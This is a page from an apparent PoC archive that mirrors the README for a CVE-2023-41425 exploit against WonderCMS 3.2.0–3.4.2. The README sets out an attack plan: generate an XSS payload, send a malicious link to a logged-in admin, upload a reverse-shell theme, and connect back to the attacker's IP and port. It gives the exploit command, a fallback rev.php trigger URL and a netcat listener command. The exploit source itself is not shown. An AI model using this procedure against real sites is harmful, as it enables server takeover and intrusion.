Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2023-41425 PoC — WonderCMS 安全漏洞

Source
Associated Vulnerability
Title:WonderCMS 安全漏洞 (CVE-2023-41425)
Description:Cross Site Scripting vulnerability in Wonder CMS v.3.2.0 thru v.3.4.2 allows a remote attacker to execute arbitrary code via a crafted script uploaded to the installModule component.
Description
Xss injection, WonderCMS 3.2.0 -3.4.2 
Readme
# CVE-2023-41425-WonderCMS-Authenticated-RCE
## Description 
WonderCMS v3.2.0 - v3.4.2 is vulnerable. Remote attackers can take full control of the server using a Cross-Site Scripting (XSS) exploit (For educational purposes only ). Here's the game plan:

## How it works:
The exploit abuses the installModule component of WonderCMS to sneak a crafted script that runs arbitrary code.

## The Setup
* Tool: exploit.py
* What You Need:
  - Target URL where WonderCMS is installed (no admin password required).
  - Your attacker's machine IP.
  - A port for your reverse shell listener.
## Step-by-Step Execution
1. The script generates a file called xss.js. This JavaScript weapon is designed to exploit reflected XSS.
2. It spits out a malicious link. You’ll send that to the admin.
3. The magic happens when the admin (a logged-in user) opens or clicks your link:
  - Background requests fire without their consent.
  - A reverse shell payload is uploaded using the theme/plugin upload feature.
4. Once uploaded, the payload executes and grants you a reverse shell connection straight to the target server.

```sh
python3 exploit.py <URL> <YOUR_IP> <YOUR_PORT>
```
Example

```sh
python3 exploit.py http://sea.htb/loginURL 10.10.14.20 1234

```

## Fail-Safe:
If the reverse shell doesn’t trigger automatically, just head over to:
```sh
http://<TARGET_URL>/themes/revshell-main/rev.php?lhost=<YOUR_IP>&lport=<YOUR_PORT>
```

## note:
Remember start a listener using the following command:
  ```sh
  nc -lvp 4444
  ```  

## Credit
prodigiousMind for discovering and reporting the vulnerability https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →